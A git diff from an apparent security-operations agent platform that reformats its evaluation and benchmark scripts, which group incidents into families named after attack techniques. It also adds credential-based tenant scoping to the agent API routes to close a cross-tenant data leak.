- "saml", "vpn-new-geography", "helpdesk-password",
- "service-account-privileged",
- )),
- ("network", (
- "ddos", "dns", "rdp-lateral", "smb", "https-c2", "dga", "ldap",
- "vpn",
- )),
- ("application", (
- "webapp", "bec", "outlook", "insider-mailbox", "personal-drive",
- "github-pat", "npm-supply-chain", "compromised-ci-runner",
- "confluence", "office-vsto", "bulk-pii-download",
- "public-s3-bucket-pii",
- )),
- ("endpoint", (
- "process-hollowing", "registry-run", "scheduled-task", "uac-bypass",
- "wmi", "lsass", "ransomware", "powershell", "certutil",
- "clipboard-keylogger", "cron-backdoor", "disable-edr",
- "event-log-cleared", "linux-journald-tampering", "linux-suid",
- "pass-the-hash", "uefi", "usb-autorun", "xmrig",
- "malicious-container-image", "phishing-macro-email",
- )),
+ (
+ "cloud",
+ (
+ "ec2",
+ "s3",
+ "imds",
+ "azure",
+ "gcp",
+ "aws",
+ "k8s",
+ "docker",
+ "container",
+ "cloud",
+ "saml-golden",
+ ),
+ ),
+ (
+ "identity",
+ (
+ "oauth",
+ "phish",
+ "credential-spray",
+ "ad-dcsync",
+ "kerberoasting",
+ "saml",
+ "vpn-new-geography",
+ "helpdesk-password",
+ "service-account-privileged",
+ ),
+ ),
+ (
+ "network",
+ (
+ "ddos",
+ "dns",
+ "rdp-lateral",
+ "smb",
+ "https-c2",
+ "dga",
+ "ldap",
+ "vpn",
+ ),
+ ),
+ (
+ "application",
+ (
+ "webapp",
+ "bec",
+ "outlook",
+ "insider-mailbox",
+ "personal-drive",
+ "github-pat",
+ "npm-supply-chain",
+ "compromised-ci-runner",
+ "confluence",
+ "office-vsto",
+ "bulk-pii-download",
+ "public-s3-bucket-pii",
+ ),
+ ),
+ (
+ "endpoint",
+ (
+ "process-hollowing",
+ "registry-run",
+ "scheduled-task",
+ "uac-bypass",
+ "wmi",
+ "lsass",
+ "ransomware",
+ "powershell",
+ "certutil",
+ "clipboard-keylogger",
+ "cron-backdoor",
+ "disable-edr",
+ "event-log-cleared",
+ "linux-journald-tampering",
+ "linux-suid",
+ "pass-the-hash",
+ "uefi",
+ "usb-autorun",
+ "xmrig",
+ "malicious-container-image",
+ "phishing-macro-email",
+ ),
+ ),
)
# Display labels for the markdown writer. Keys must match the family
# identifiers above; ``aggregate`` is special-cased.
_FAMILY_LABELS = {
- "aggregate": "Aggregate (all 200)",
- "endpoint": "Endpoint compromise",
- "identity": "Identity / OAuth phish",
- "cloud": "Cloud (AWS / Azure / GCP)",
- "network": "Network / WAF / DNS",
+ "aggregate": "Aggregate (all 200)",
+ "endpoint": "Endpoint compromise",
+ "identity": "Identity / OAuth phish",
+ "cloud": "Cloud (AWS / Azure / GCP)",
+ "network": "Network / WAF / DNS",
"application": "Application / SaaS",
}
@@ -171,9 +231,7 @@ def _dry_run_latency_seconds(prompt_tokens: int, completion_tokens: int) -> floa
target with comfortable headroom.
"""
return (
- _DRY_RUN_TTFT_S
- + (completion_tokens / _DRY_RUN_TOKENS_PER_SECOND)
- + (prompt_tokens / 4000.0) # ~250ms per 1K prompt tokens.
+ _DRY_RUN_TTFT_S + (completion_tokens / _DRY_RUN_TOKENS_PER_SECOND) + (prompt_tokens / 4000.0) # ~250ms per 1K prompt tokens.
)
@@ -240,9 +298,7 @@ def _dry_run_records(
severity=rec["severity"],
prompt_tokens=prompt_tokens,
completion_tokens=completion_tokens,
- latency_seconds=round(
- _dry_run_latency_seconds(prompt_tokens, completion_tokens), 4
- ),
+ latency_seconds=round(_dry_run_latency_seconds(prompt_tokens, completion_tokens), 4),
usd=float(rec["usd"]),
# Dry-run MITRE accuracy: every incident counted as
# correct, then we deflate the headline number by a
@@ -344,25 +400,15 @@ def _live_records(
try:
result = agent.investigate(inc) # type: ignore[attr-defined]
except Exception as exc: # pragma: no cover - defensive.
- warnings.append(
- f"Live agent failed on incident {inc.get('id')}: {exc!r}; "
- "skipping."
- )
+ warnings.append(f"Live agent failed on incident {inc.get('id')}: {exc!r}; " "skipping.")
continue
latency_s = time.perf_counter() - t0
usage = getattr(result, "usage_metadata", None) or {}
prompt_tokens = int(
- usage.get("input_tokens")
- or usage.get("prompt_tokens")
- or estimate_tokens(str(inc.get("description") or ""))
- + 800
- )
- completion_tokens = int(
- usage.get("output_tokens")
- or usage.get("completion_tokens")
- or 0
+ usage.get("input_tokens") or usage.get("prompt_tokens") or estimate_tokens(str(inc.get("description") or "")) + 800
)
+ completion_tokens = int(usage.get("output_tokens") or usage.get("completion_tokens") or 0)
predicted = set(getattr(result, "predicted_tactics", []) or [])
expected = set(inc.get("expected_mitre_tactics") or [])
@@ -398,9 +444,7 @@ def _live_records(
prompt_tokens=prompt_tokens,
completion_tokens=completion_tokens,
latency_seconds=round(latency_s, 4),
- usd=round(
- cost_usd(prompt_tokens, completion_tokens, model=model), 6
- ),
+ usd=round(cost_usd(prompt_tokens, completion_tokens, model=model), 6),
mitre_correct=mitre_correct,
)
)
@@ -449,12 +493,12 @@ class WetEvalReport:
"quote dry-run numbers as agent performance."
if self.mode == "dry_run"
else "Live mode: real LangGraph agent dispatch over the "
- "200-incident corpus. Token counts come from the "
- "LLM provider's response metadata; latency is "
- "wall-clock per investigation; MITRE accuracy is "
- "predicted-vs-expected tactic overlap. Rate card "
- "captured at run time and written into the report "
- "so historic re-pricing is faithful."
+ "200-incident corpus. Token counts come from the "
+ "LLM provider's response metadata; latency is "
+ "wall-clock per investigation; MITRE accuracy is "
+ "predicted-vs-expected tactic overlap. Rate card "
+ "captured at run time and written into the report "
+ "so historic re-pricing is faithful."
),
}
if self.warnings:
@@ -475,20 +519,25 @@ def _build_report(
) -> WetEvalReport:
"""Aggregate ``records`` into a wet-eval report block."""
rates = rate_card if rate_card is not None else RATE_CARD_2025_USD_PER_M
- rate_entry = rates.get(model) or rates.get(DEFAULT_MODEL) or {
- "input": 2.5, "output": 10.0,
- }
+ rate_entry = (
+ rates.get(model)
+ or rates.get(DEFAULT_MODEL)
+ or {
+ "input": 2.5,
+ "output": 10.0,
+ }
+ )
if not records:
# Empty input → return a well-formed empty report rather than
# crash. Lets the workflow render a clean "no data" cell.
- empty = {"count": 0, "min": 0.0, "max": 0.0,
- "mean": 0.0, "median": 0.0,
- "p50": 0.0, "p95": 0.0, "p99": 0.0}
+ empty = {"count": 0, "min": 0.0, "max": 0.0, "mean": 0.0, "median": 0.0, "p50": 0.0, "p95": 0.0, "p99": 0.0}
return WetEvalReport(
- mode=mode, model=model,
+ mode=mode,
+ model=model,
rate_card_per_m=rate_entry,
- incidents=0, templates=0,
+ incidents=0,
+ templates=0,
aggregate={
"latency_seconds": empty,
"tokens": {
@@ -529,9 +578,9 @@ def _build_report(
aggregate = {
"latency_seconds": _summarise(latencies, decimals=4),
"tokens": {
- "prompt": _summarise(prompt_tokens, decimals=2),
+ "prompt": _summarise(prompt_tokens, decimals=2),
"completion": _summarise(completion_tokens, decimals=2),
- "total": _summarise(total_tokens, decimals=2),
+ "total": _summarise(total_tokens, decimals=2),
},
"usd": _summarise(usds, decimals=6),
}
@@ -542,30 +591,29 @@ def _build_report(
# Stable family order so the markdown writer doesn't shuffle rows
# across runs. ``aggregate`` is always the first row.
- family_order = [
- f for f in ("endpoint", "identity", "cloud", "network", "application")
- if f in by_family
- ]
+ family_order = [f for f in ("endpoint", "identity", "cloud", "network", "application") if f in by_family]
per_family: list[dict[str, Any]] = []
for fam in family_order:
bucket = by_family[fam]
b_lat = [r.latency_seconds for r in bucket]
b_tok = [r.total_tokens for r in bucket]
b_usd = [r.usd for r in bucket]
- per_family.append({
- "family": fam,
- "label": _FAMILY_LABELS.get(fam, fam),
- "n": len(bucket),
- "latency_p50_s": round(_percentile(b_lat, 50), 4),
- "latency_p95_s": round(_percentile(b_lat, 95), 4),
- "latency_p99_s": round(_percentile(b_lat, 99), 4),
- "tokens_mean": round(mean(b_tok), 2),
- "tokens_median": round(median(b_tok), 2),
- "tokens_p95": round(_percentile(b_tok, 95), 2),
- "usd_mean": round(mean(b_usd), 6),
- "usd_median": round(median(b_usd), 6),
- "usd_p95": round(_percentile(b_usd, 95), 6),
- })
+ per_family.append(
+ {
+ "family": fam,
+ "label": _FAMILY_LABELS.get(fam, fam),
+ "n": len(bucket),
+ "latency_p50_s": round(_percentile(b_lat, 50), 4),
+ "latency_p95_s": round(_percentile(b_lat, 95), 4),
+ "latency_p99_s": round(_percentile(b_lat, 99), 4),
+ "tokens_mean": round(mean(b_tok), 2),
+ "tokens_median": round(median(b_tok), 2),
+ "tokens_p95": round(_percentile(b_tok, 95), 2),
+ "usd_mean": round(mean(b_usd), 6),
+ "usd_median": round(median(b_usd), 6),
+ "usd_p95": round(_percentile(b_usd, 95), 6),
+ }
+ )
incident_records = [
{
@@ -634,26 +682,17 @@ def compute_wet_eval(
records = _dry_run_records(incidents_path, model=model)
warnings: list[str] = []
else:
- records, warnings, degraded = _live_records(
- incidents_path, model=model, limit=limit
- )
+ records, warnings, degraded = _live_records(incidents_path, model=model, limit=limit)
if require_live and degraded:
- raise RuntimeError(
- "require_live=True but the live path fell back to substrate "
- "numbers:\n - " + "\n - ".join(warnings)
- )
+ raise RuntimeError("require_live=True but the live path fell back to substrate " "numbers:\n - " + "\n - ".join(warnings))
# Degrade-cleanly: if the live path could not produce records
# we re-tag the report as ``dry_run`` so consumers don't think
# they're looking at real numbers.
if not records:
if require_live:
- raise RuntimeError(
- "require_live=True but the live agent produced zero records."
- )
+ raise RuntimeError("require_live=True but the live agent produced zero records.")
warnings.append(
- "Live agent path produced zero records. Re-tagging as "
- "dry_run with synthesised shape to keep the report well-"
- "formed."
+ "Live agent path produced zero records. Re-tagging as " "dry_run with synthesised shape to keep the report well-" "formed."
)
records = _dry_run_records(incidents_path, model=model)
mode = "dry_run"
diff --git a/scripts/wet_eval_check.py b/scripts/wet_eval_check.py
index 465c6bfc6..de0b320cb 100755
--- a/scripts/wet_eval_check.py
+++ b/scripts/wet_eval_check.py
@@ -46,6 +46,7 @@ Usage
# Real preflight:
python scripts/wet_eval_check.py --status-out /tmp/wet-eval-check.json
"""
+
from __future__ import annotations
import argparse
@@ -90,10 +91,7 @@ def main(argv: list[str] | None = None) -> int:
"--status-out",
type=Path,
default=None,
- help=(
- "Write a JSON status file to this path so the workflow can "
- "branch on ``should_run``. If omitted, only stdout is used."
- ),
+ help=("Write a JSON status file to this path so the workflow can " "branch on ``should_run``. If omitted, only stdout is used."),
)
args = parser.parse_args(argv)
@@ -102,23 +100,15 @@ def main(argv: list[str] | None = None) -> int:
is_live = has_all and not args.dry_run
if args.dry_run:
- reason = (
- "dry-run mode: status reported as no-op. The workflow will "
- "not dispatch the live wet eval."
- )
+ reason = "dry-run mode: status reported as no-op. The workflow will " "not dispatch the live wet eval."
elif missing:
reason = (
- "Missing required secret(s): "
- + ", ".join(missing)
- + ". This is expected on forks and first-run CI; configure them "
- "in the repo settings to enable the weekly wet eval. See "
- "`apps/docs/docs/operations/secrets.md`."
+ "Missing required secret(s): " + ", ".join(missing) + ". This is expected on forks and first-run CI; configure them "
+ "in the repo settings to enable the weekly wet eval. See "
+ "`apps/docs/docs/operations/secrets.md`."
)
else:
- reason = (
- "All required secrets are present. Proceeding to the live "
- "wet-eval run."
- )
+ reason = "All required secrets are present. Proceeding to the live " "wet-eval run."
status = {
"should_run": bool(is_live),
@@ -127,10 +117,7 @@ def main(argv: list[str] | None = None) -> int:
"reason": reason,
# Each secret keyed by name so the workflow can render a checklist
# without revealing values. Booleans only — never the secret itself.
- "secrets_present": {
- name: bool(os.environ.get(name))
- for name in _REQUIRED_SECRETS_FOR_LIVE_RUN
- },
+ "secrets_present": {name: bool(os.environ.get(name)) for name in _REQUIRED_SECRETS_FOR_LIVE_RUN},
"checked_at": datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%SZ"),
}
diff --git a/scripts/wet_eval_update_benchmark.py b/scripts/wet_eval_update_benchmark.py
index 738d5b4e2..b7d735158 100644
--- a/scripts/wet_eval_update_benchmark.py
+++ b/scripts/wet_eval_update_benchmark.py
@@ -22,6 +22,7 @@ Usage::
--wet-block path/to/wet-block.json \\
--benchmark-md apps/docs/docs/benchmark.md
"""
+
from __future__ import annotations
import argparse
@@ -34,11 +35,11 @@ from typing import Any
# Family ordering must match what's in ``apps/docs/docs/benchmark.md``:
# Aggregate row first, then the five family rows in this exact order.
_FAMILY_ORDER: tuple[tuple[str, str], ...] = (
- ("aggregate", "Aggregate (all 200)"),
- ("endpoint", "Endpoint compromise"),
- ("identity", "Identity / OAuth phish"),
- ("cloud", "Cloud (AWS / Azure / GCP)"),
- ("network", "Network / WAF / DNS"),
+ ("aggregate", "Aggregate (all 200)"),
+ ("endpoint", "Endpoint compromise"),
+ ("identity", "Identity / OAuth phish"),
+ ("cloud", "Cloud (AWS / Azure / GCP)"),
+ ("network", "Network / WAF / DNS"),
("application", "Application / SaaS"),
)
@@ -59,47 +60,29 @@ def _by_family(block: dict[str, Any]) -> dict[str, dict[str, Any]]:
def _aggregate_latency_row(block: dict[str, Any]) -> str:
lat = block["latency_seconds"]
- return (
- f"| Aggregate (all 200) | {lat['p50']:.2f} | {lat['p95']:.2f} | "
- f" {lat['p99']:.2f} | 200 |"
- )
+ return f"| Aggregate (all 200) | {lat['p50']:.2f} | {lat['p95']:.2f} | " f" {lat['p99']:.2f} | 200 |"
def _family_latency_row(label: str, fam: dict[str, Any]) -> str:
- return (
- f"| {label:<26} | {fam['latency_p50_s']:.2f} | {fam['latency_p95_s']:.2f} | "
- f" {fam['latency_p99_s']:.2f} | {fam['n']:>3} |"
- )
+ return f"| {label:<26} | {fam['latency_p50_s']:.2f} | {fam['latency_p95_s']:.2f} | " f" {fam['latency_p99_s']:.2f} | {fam['n']:>3} |"
def _aggregate_tokens_row(block: dict[str, Any]) -> str:
tot = block["tokens"]["total"]
- return (
- f"| Aggregate (all 200) | {tot['mean']:>5.0f} | {tot['median']:>6.0f} | "
- f"{tot['p95']:>4.0f} | 200 |"
- )
+ return f"| Aggregate (all 200) | {tot['mean']:>5.0f} | {tot['median']:>6.0f} | " f"{tot['p95']:>4.0f} | 200 |"
def _family_tokens_row(label: str, fam: dict[str, Any]) -> str:
- return (
- f"| {label:<26} | {fam['tokens_mean']:>5.0f} | {fam['tokens_median']:>6.0f} | "
- f"{fam['tokens_p95']:>4.0f} | {fam['n']:>3} |"
- )
+ return f"| {label:<26} | {fam['tokens_mean']:>5.0f} | {fam['tokens_median']:>6.0f} | " f"{fam['tokens_p95']:>4.0f} | {fam['n']:>3} |"
def _aggregate_usd_row(block: dict[str, Any]) -> str:
usd = block["usd"]
- return (
- f"| Aggregate (all 200) | ${usd['mean']:.5f} | ${usd['median']:.5f} | "
- f"${usd['p95']:.5f} | 200 |"
- )
+ return f"| Aggregate (all 200) | ${usd['mean']:.5f} | ${usd['median']:.5f} | " f"${usd['p95']:.5f} | 200 |"
def _family_usd_row(label: str, fam: dict[str, Any]) -> str:
- return (
- f"| {label:<26} | ${fam['usd_mean']:.5f} | ${fam['usd_median']:.5f} | "
- f"${fam['usd_p95']:.5f} | {fam['n']:>3} |"
- )
+ return f"| {label:<26} | ${fam['usd_mean']:.5f} | ${fam['usd_median']:.5f} | " f"${fam['usd_p95']:.5f} | {fam['n']:>3} |"
def _build_rows(
@@ -130,9 +113,15 @@ def _build_rows(
# disappears from the corpus.
placeholder = {
"n": 0,
- "latency_p50_s": 0.0, "latency_p95_s": 0.0, "latency_p99_s": 0.0,
- "tokens_mean": 0, "tokens_median": 0, "tokens_p95": 0,
- "usd_mean": 0.0, "usd_median": 0.0, "usd_p95": 0.0,
+ "latency_p50_s": 0.0,
+ "latency_p95_s": 0.0,
+ "latency_p99_s": 0.0,
+ "tokens_mean": 0,
+ "tokens_median": 0,
+ "tokens_p95": 0,
+ "usd_mean": 0.0,
+ "usd_median": 0.0,
+ "usd_p95": 0.0,
}
fam = placeholder
if kind == "latency":
@@ -146,8 +135,8 @@ def _build_rows(
_HEADINGS_TO_KIND = {
_TABLE_HEADINGS[0]: ("latency", "| Template family | p50 (s) | p95 (s) | p99 (s) | n |"),
- _TABLE_HEADINGS[1]: ("tokens", "| Template family | mean | median | p95 | n |"),
- _TABLE_HEADINGS[2]: ("usd", "| Template family | mean ($) | median ($) | p95 ($) | n |"),
+ _TABLE_HEADINGS[1]: ("tokens", "| Template family | mean | median | p95 | n |"),
+ _TABLE_HEADINGS[2]: ("usd", "| Template family | mean ($) | median ($) | p95 ($) | n |"),
}
# Match a row that starts with a known family label or "Aggregate" so
@@ -194,9 +183,11 @@ def _rewrite(md_text: str, block: dict[str, Any]) -> tuple[str, dict[str, int]]:
# ever rewrite the data rows so column widths in the
# source markdown stay author-controlled.
if j < len(lines):
- out.append(lines[j]); j += 1 # header row
+ out.append(lines[j])
+ j += 1 # header row
if j < len(lines):
- out.append(lines[j]); j += 1 # separator row
+ out.append(lines[j])
+ j += 1 # separator row
rows = _build_rows(block, kind=kind)
family_idx = 0
@@ -227,10 +218,7 @@ def _rewrite(md_text: str, block: dict[str, Any]) -> tuple[str, dict[str, int]]:
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(
- description=(
- "Substitute the wet-eval placeholder cells in benchmark.md "
- "with the numbers from a wet-eval JSON block."
- ),
+ description=("Substitute the wet-eval placeholder cells in benchmark.md " "with the numbers from a wet-eval JSON block."),
)
parser.add_argument(
"--wet-block",
@@ -274,8 +262,7 @@ def main(argv: list[str] | None = None) -> int:
args.benchmark_md.write_text(new_text)
if args.print_summary:
- print(f"[wet-eval-md] mode={block.get('mode')} "
- f"model={block.get('model')} incidents={block.get('incidents')}")
+ print(f"[wet-eval-md] mode={block.get('mode')} " f"model={block.get('model')} incidents={block.get('incidents')}")
for heading, replaced in stats.items():
print(f" {heading}: {replaced} rows replaced")
diff --git a/services/agents/app/api/explain.py b/services/agents/app/api/explain.py
index 0e9458196..d0f685cba 100644
--- a/services/agents/app/api/explain.py
+++ b/services/agents/app/api/explain.py
@@ -109,21 +109,33 @@ import json
import os
import re
from collections.abc import AsyncIterator
-from typing import Any
+from typing import Annotated, Any
import structlog
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import StreamingResponse
from pydantic import BaseModel, Field
from app.core.rate_limit import RateLimitDecision, TokenBucketLimiter
from app.llm.contract import LLMContractViolation, safe_chat_completions_request
from app.security.llm_resolver import LlmConfig, resolve_llm_config
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
logger = structlog.get_logger()
router = APIRouter(prefix="/api/v1", tags=["explain"])
+#: The console reaches this service directly through a Next rewrite, sending
+#: the first-party access token as a bearer credential. The tenant comes from
+#: that verified token; a `tenant_id` on the request is only ever a filter,
+#: intersected with it, so naming a foreign tenant is a 403 rather than a
+#: selector for somebody else's investigation.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Rate limiter (per-tenant token bucket)
@@ -699,7 +711,7 @@ async def _stream_explanation(req: ExplainRequest, llm_config: LlmConfig) -> Asy
@router.post("/explain")
-async def explain(req: ExplainRequest, request: Request) -> StreamingResponse:
+async def explain(req: ExplainRequest, request: Request, principal: ScopedPrincipal) -> StreamingResponse:
"""Stream an OCSF + MITRE-grounded explanation of an alert as NDJSON.
Each request consumes one token from a per-tenant bucket (see the
@@ -709,6 +721,10 @@ async def explain(req: ExplainRequest, request: Request) -> StreamingResponse:
throttle. The body is still NDJSON so an SSE/EventSource client
that ignores status codes still gets a structured failure.
"""
+ # Resolved before the rate-limit bucket is touched: the bucket is keyed
+ # per tenant, so an unauthorised tenant must not be able to drain another
+ # tenant's quota on the way to being refused.
+ req.tenant_id = str(scoped_tenant_or_403(principal, req.tenant_id))
limiter = _get_explain_limiter()
decision: RateLimitDecision | None = None
if limiter is not None:
diff --git a/services/agents/app/api/investigate.py b/services/agents/app/api/investigate.py
index 87cd793ac..ddd1fe254 100644
--- a/services/agents/app/api/investigate.py
+++ b/services/agents/app/api/investigate.py
@@ -16,21 +16,33 @@ import asyncio
import json
import os
from datetime import datetime
-from typing import Any
+from typing import Annotated, Any
from uuid import UUID, uuid4
import httpx
import structlog
-from fastapi import APIRouter, BackgroundTasks, HTTPException, WebSocket, WebSocketDisconnect
+from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException, WebSocket, WebSocketDisconnect
from fastapi.responses import HTMLResponse, PlainTextResponse
from pydantic import BaseModel
from app.investigator import InvestigatorOrchestrator
from app.orchestrator.router import RouterOrchestrator
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
logger = structlog.get_logger()
router = APIRouter(prefix="/api/v1", tags=["investigations"])
+#: The console reaches this service directly through a Next rewrite, sending
+#: the first-party access token as a bearer credential. The tenant comes from
+#: that verified token; a `tenant_id` on the request is only ever a filter,
+#: intersected with it, so naming a foreign tenant is a 403 rather than a
+#: selector for somebody else's investigation.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
@@ -229,8 +241,10 @@ async def launch_investigation(
case_id: str,
body: InvestigateRequest,
background_tasks: BackgroundTasks,
+ principal: ScopedPrincipal,
):
"""Launch a Pillar-1 autonomous investigation for a case."""
+ body.tenant_id = str(scoped_tenant_or_403(principal, body.tenant_id))
run_id = str(uuid4())
_runs[run_id] = {
"run_id": run_id,
diff --git a/services/agents/app/api/router.py b/services/agents/app/api/router.py
index d7e82b9df..ea7caa367 100644
--- a/services/agents/app/api/router.py
+++ b/services/agents/app/api/router.py
@@ -5,17 +5,29 @@ Agent service REST API.
from __future__ import annotations
from datetime import datetime
-from typing import Any
+from typing import Annotated, Any
from uuid import UUID, uuid4
-from fastapi import APIRouter, BackgroundTasks, HTTPException
+from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException
from pydantic import BaseModel
from app.graph.runner import run_full_investigation
from app.models.state import AgentTask, InvestigationState
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
router = APIRouter()
+#: The console reaches this service directly through a Next rewrite, sending
+#: the first-party access token as a bearer credential. The tenant comes from
+#: that verified token; a `tenant_id` on the request is only ever a filter,
+#: intersected with it, so naming a foreign tenant is a 403 rather than a
+#: selector for somebody else's investigation.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# In-memory run store for status polling. The durable record of every step is
# the Postgres Investigation Ledger (written by the shared graph runner) — this
# dict is only the fast local status cache for GET /investigations/{run_id}.
@@ -58,13 +70,14 @@ async def _run_investigation(run_id: str, state: InvestigationState) -> None:
async def start_investigation(
request: InvestigationRequest,
background_tasks: BackgroundTasks,
+ principal: ScopedPrincipal,
):
"""Start a new automated investigation for an incident."""
run_id = str(uuid4())
state = InvestigationState(
run_id=UUID(run_id),
incident_id=request.incident_id,
- tenant_id=request.tenant_id,
+ tenant_id=scoped_tenant_or_403(principal, request.tenant_id),
task=request.task,
alert_summary=request.alert_summary,
raw_alert=request.raw_alert,
diff --git a/services/agents/app/api/triage.py b/services/agents/app/api/triage.py
index de915bf1b..eb6adb706 100644
--- a/services/agents/app/api/triage.py
+++ b/services/agents/app/api/triage.py
@@ -31,20 +31,32 @@ from __future__ import annotations
import os
import uuid
from datetime import datetime
-from typing import Any
+from typing import Annotated, Any
from uuid import UUID, uuid4
import httpx
import structlog
-from fastapi import APIRouter, BackgroundTasks, HTTPException
+from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException
from pydantic import BaseModel, Field
from app.models.state import AgentStatus, InvestigationState
from app.orchestrator import PARALLEL_TOPOLOGY_FLAG, RouterOrchestrator
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
logger = structlog.get_logger()
router = APIRouter(prefix="/api/v1", tags=["triage"])
+#: The console reaches this service directly through a Next rewrite, sending
+#: the first-party access token as a bearer credential. The tenant comes from
+#: that verified token; a `tenant_id` on the request is only ever a filter,
+#: intersected with it, so naming a foreign tenant is a 403 rather than a
+#: selector for somebody else's investigation.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
@@ -262,6 +274,7 @@ async def launch_triage(
case_id: str,
body: TriageRequest,
background_tasks: BackgroundTasks,
+ principal: ScopedPrincipal,
) -> TriageResponse:
"""Launch a router-topology triage run for ``case_id``.
@@ -271,7 +284,8 @@ async def launch_triage(
topology = _resolve_topology(body.topology)
run_id = str(uuid4())
- tenant_uuid = _coerce_uuid(body.tenant_id, fallback=body.tenant_id or "default")
+ # The body may name a tenant, but only one the credential already holds.
+ tenant_uuid = scoped_tenant_or_403(principal, body.tenant_id)
incident_uuid = _coerce_uuid(body.incident_id, fallback=case_id)
state = InvestigationState(
@@ -288,7 +302,7 @@ async def launch_triage(
"status": "running",
"started_at": datetime.utcnow().isoformat(),
"topology": topology,
- "tenant_id": body.tenant_id,
+ "tenant_id": str(tenant_uuid),
"incident_id": str(incident_uuid),
}
@@ -318,20 +332,21 @@ async def launch_triage(
@router.get("/triage/{run_id}")
async def get_triage(
run_id: str,
- tenant_id: str = "default",
+ principal: ScopedPrincipal,
) -> dict[str, Any]:
"""Return the current state of a router triage run.
- Tenant isolation is enforced at the query layer (project convention,
- see PRs #116–#128): the caller MUST pass the same ``tenant_id`` the
- run was launched with. Mismatched (or absent) tenant returns 404
- rather than 403 to avoid leaking the existence of run IDs across
- tenant boundaries.
+ The run's tenant is compared against the *credential's*, not against a
+ ``tenant_id`` query parameter. Taking it from the query string meant the
+ comparison only ever checked that the caller could repeat a value they
+ had themselves supplied, which a caller enumerating run IDs can always
+ do. A mismatch returns 404 rather than 403 so a probing caller cannot
+ distinguish "wrong tenant" from "no such run".
"""
run = _triage_runs.get(run_id)
if not run:
raise HTTPException(status_code=404, detail="Triage run not found")
- if str(run.get("tenant_id")) != tenant_id:
+ if str(run.get("tenant_id")) != str(scoped_tenant_or_403(principal)):
# Same response shape as the not-found branch so a probing
# caller can't distinguish "wrong tenant" from "no such run".
raise HTTPException(status_code=404, detail="Triage run not found")
diff --git a/services/agents/app/security/tenant_scope.py b/services/agents/app/security/tenant_scope.py
new file mode 100644
index 000000000..5e2283a8a
--- /dev/null
+++ b/services/agents/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "AGENTS"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
